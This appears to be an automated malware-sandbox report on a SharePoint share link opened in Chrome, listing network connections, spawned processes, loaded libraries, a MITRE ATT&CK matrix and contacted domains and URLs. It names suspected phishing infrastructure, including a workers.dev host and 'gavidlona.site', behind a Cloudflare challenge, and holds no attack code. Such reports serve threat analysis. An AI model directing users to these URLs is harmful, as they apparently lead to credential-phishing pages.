Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50203
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 13.107.136.10:443 -> 192.168.2.16:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.136.10:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.136.10:443 -> 192.168.2.16:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.138.10:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.40.164:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.243.83:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.206:443 -> 192.168.2.16:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.163:443 -> 192.168.2.16:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.163:443 -> 192.168.2.16:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.57.209:443 -> 192.168.2.16:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.57.209:443 -> 192.168.2.16:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.99.26.178:443 -> 192.168.2.16:49917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.16:49936 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.57.209:443 -> 192.168.2.16:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.98.34.194:443 -> 192.168.2.16:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.108.42.38:443 -> 192.168.2.16:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.108.42.38:443 -> 192.168.2.16:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.163:443 -> 192.168.2.16:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.163:443 -> 192.168.2.16:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 141.11.210.112:443 -> 192.168.2.16:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.243.72:443 -> 192.168.2.16:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.243.72:443 -> 192.168.2.16:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.50.53.232:443 -> 192.168.2.16:50198 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6912_1428184348

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6912_1428184348

Jump to behavior

Source: classification engine

Classification label: mal52.win@28/1305@52/20

Source: C:\Windows\System32\conhost.exe

Mutant created: \BaseNamedObjects\Local\SM0:6960:120:WilError_03

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,18203183969828923320,17147673986862383966,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,18203183969828923320,17147673986862383966,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: chromecache_1776.1.dr, chromecache_1844.1.dr, chromecache_1661.1.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_1776.1.dr, chromecache_1844.1.dr, chromecache_1661.1.dr	Binary or memory string: ",DisconnectVirtualMachine:"

Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
about:blank	0%	Avira URL Cloud	safe
https://gavidlona.site/?ewvqvbmc	0%	Avira URL Cloud	safe
https://828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.com/apc/trans.gif?a4f605f3c01985fc31bcb133c92fbfe5	0%	Avira URL Cloud	safe
https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/AccessDenied.aspx?correlation=c5ad8da1%2Df0c7%2D8000%2D8668%2D8c6801b85e1a	0%	Avira URL Cloud	safe
https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_api/v2.0/sites/%7B552113f1-ca1e-451c-948b-fdf117b790f0%7D/lists/%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D/items/delta?token=latest	0%	Avira URL Cloud	safe
https://postureshift-my.sharepoint.com/_layouts/15/spwebworkerproxy.ashx?odsp-web-prod_2025-03-14.003	0%	Avira URL Cloud	safe
https://sharepoint.uservoice.com/forums/329214-sites-and-collaboration	0%	Avira URL Cloud	safe
http://linkless.header/	0%	Avira URL Cloud	safe
https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute	0%	Avira URL Cloud	safe
https://828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.com/apc/trans.gif?c5d154ca5113cba279322935e5802c77	0%	Avira URL Cloud	safe
https://onedrive.dev.cloud.microsoft	0%	Avira URL Cloud	safe
https://postureshift-my.sharepoint.com/_layouts/15/images/odbfavicon.ico?rev=47	0%	Avira URL Cloud	safe
https://postureshift-my.sharepoint.com/_layouts/15/images/BLANK.gif	0%	Avira URL Cloud	safe
https://postureshift-my.sharepoint.com/_layouts/15/spwebworkerproxy.ashx	0%	Avira URL Cloud	safe
https://postureshift-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&compWWFlow=true&atomic=true&g=0&l2=true	0%	Avira URL Cloud	safe
https://onedrive.cloud.microsoft	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
e40491.dscg.akamaiedge.net	23.209.72.206	true	false	high
dual-spo-0005.spo-msedge.net	13.107.136.10	true	false	high
doh-mvp.trafficmanager.net	40.99.26.178	true	false	high
b-0004.b-dc-msedge.net	13.107.9.156	true	false	unknown
4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev	104.21.57.209	true	false	high
cosmic-westus-ns-ec0fdbe54512.trafficmanager.net	52.112.107.177	true	false	unknown
a1894.dscb.akamai.net	23.55.243.83	true	false	high
b-0008.b-msedge.net	13.107.6.163	true	false	high
a726.dscd.akamai.net	23.219.161.144	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
www.google.com	142.251.40.164	true	false	high
828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.com	52.98.34.194	true	false	high
gavidlona.site	141.11.210.112	true	false	unknown
pca1-word-eap.officeapps.live.com	52.108.42.38	true	false	unknown
cosmic-eastus-ns-ae7240f3b9e0.trafficmanager.net	52.112.127.252	true	false	unknown
r4.res.office365.com	unknown	unknown	false	high
upload.fp.measure.office.com	unknown	unknown	false	high
config.fp.measure.office.com	unknown	unknown	false	high
tr-ofc-atm.office.com	unknown	unknown	false	high
postureshift-my.sharepoint.com	unknown	unknown	false	high
m365cdn.nel.measure.office.net	unknown	unknown	false	high
spo.nel.measure.office.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://postureshift-my.sharepoint.com/_layouts/15/spwebworkerproxy.ashx?odsp-web-prod_2025-03-14.003	false	Avira URL Cloud: safe	unknown
https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_api/v2.0/sites/%7B552113f1-ca1e-451c-948b-fdf117b790f0%7D/lists/%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D/items/delta?token=latest	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
about:blank	false	Avira URL Cloud: safe	unknown
https://tr-ofc-atm.office.com/apc/trans.gif?09b3151c0d1489c6b2f376b590c04110	false		high
https://4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev/	false		unknown
https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=161.77.13.0	false		high
https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/AccessDenied.aspx?correlation=c5ad8da1%2Df0c7%2D8000%2D8668%2D8c6801b85e1a	false	Avira URL Cloud: safe	unknown
https://828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.com/apc/trans.gif?a4f605f3c01985fc31bcb133c92fbfe5	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/92570f7a6a7342ac/1742828662214/C9EhEwx8UC_PUM2	false		high
https://m365cdn.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=SECAUCUS&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.bfb22817.1742828699.167f5a3b&TotalRTCDNTime=100&CompressionType=gzip&FileSize=1483	false		high
https://r4.res.office365.com/footprint/v3.2/scripts/fp-min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.com/apc/trans.gif?c5d154ca5113cba279322935e5802c77	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=92570f7a6a7342ac&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/92570ffa6e8a2142/1742828682795/a6d8d456800e644ef19de315ad6591795886cfe3a21f12820bab2a67dc33e112/hS1jA8RcNZ94m97	false		high
https://spo.nel.measure.office.net/api/report?tenantId=81e50312-74cf-4ac5-b205-211e7cbe5add&destinationEndpoint=Edge-Prod-EWR31r5b&frontEnd=AFD&RemoteIP=161.77.13.0	false		high
https://m365cdn.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EDISON&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.e19d2e17.1742828759.1a07db28&TotalRTCDNTime=102&CompressionType=gzip&FileSize=629	false		high
https://postureshift-my.sharepoint.com/_layouts/15/images/odbfavicon.ico?rev=47	false	Avira URL Cloud: safe	unknown
https://postureshift-my.sharepoint.com/_layouts/15/spwebworkerproxy.ashx	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/92570f7a6a7342ac/1742828662206/9b2bf10e02b9386c6040e1d19be744573a88157982da596ac1b7a8aede60c9d6/b5MOIlFaCJapvEn	false		high
https://m365cdn.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EDISON&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.86112317.1742828639.1ec3844&TotalRTCDNTime=98&CompressionType=gzip&FileSize=42635	false		high
https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/2120792248:1742826393:WW1IYhuY1Efa_mBNLvF5drCFCfb3Vr8PSL4G3oDSqQk/92570f7a6a7342ac/0swLeoflbICloNwC2zFnT8tYFiogNZAGsX8A5ogCpjI-1742828660-1.1.1.1-q_puIwyi6UWAdslo.JKPetQp4SBpBNEHGk_U6RbjswFYuUzL0ezF0dHJWTlepvUE	false		high
https://postureshift-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&compWWFlow=true&atomic=true&g=0&l2=true	false	Avira URL Cloud: safe	unknown
https://tr-ofc-atm.office.com/apc/trans.gif?bb17b2c59be470c76e2bc56ececf2031	false		high
https://postureshift-my.sharepoint.com/_layouts/15/images/BLANK.gif	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://office.visualstudio.com/OC/_git/M365AdminUX?path=%2Fmodules%2Fhvc-loader	chromecache_2093.1.dr, chromecache_1761.1.dr	false		high
https://sharepoint.uservoice.com/forums/329214-sites-and-collaboration	chromecache_1911.1.dr, chromecache_2226.1.dr	false	Avira URL Cloud: safe	unknown
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff2	chromecache_1902.1.dr	false		high
https://esign.svc.cloud.dev.microsoft	chromecache_1982.1.dr, chromecache_2218.1.dr	false		high
https://support.office.com/en-us/article/Manage-lists-and-libraries-with-many-items-b8588dae-9387-48	chromecache_1908.1.dr, chromecache_1698.1.dr, chromecache_2168.1.dr	false		high
https://aka.ms/ODSPWebNucleusInfo	chromecache_1796.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-regula	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-light.woff	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semibold.woff2	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semibold.w	chromecache_1902.1.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_2005.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff	chromecache_1902.1.dr	false		high
https://northcentralus1-medias.svc.ms	chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr, chromecache_1847.1.dr, chromecache_1779.1.dr, chromecache_1787.1.dr	false		high
https://whiteboard.office.com	chromecache_1838.1.dr	false		high
https://gavidlona.site/?ewvqvbmc	chromecache_1744.1.dr, chromecache_1725.1.dr	false	Avira URL Cloud: safe	unknown
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-light.woff2	chromecache_1902.1.dr	false		high
https://onedrive.live.com/?gologin=1	chromecache_1921.1.dr, chromecache_1985.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-light.wo	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff2	chromecache_1902.1.dr	false		high
http://linkless.header/	chromecache_1911.1.dr	false	Avira URL Cloud: safe	unknown
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff2	chromecache_1902.1.dr	false		high
https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute	chromecache_1930.1.dr, chromecache_1547.1.dr	false	Avira URL Cloud: safe	unknown
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff2	chromecache_1902.1.dr	false		high
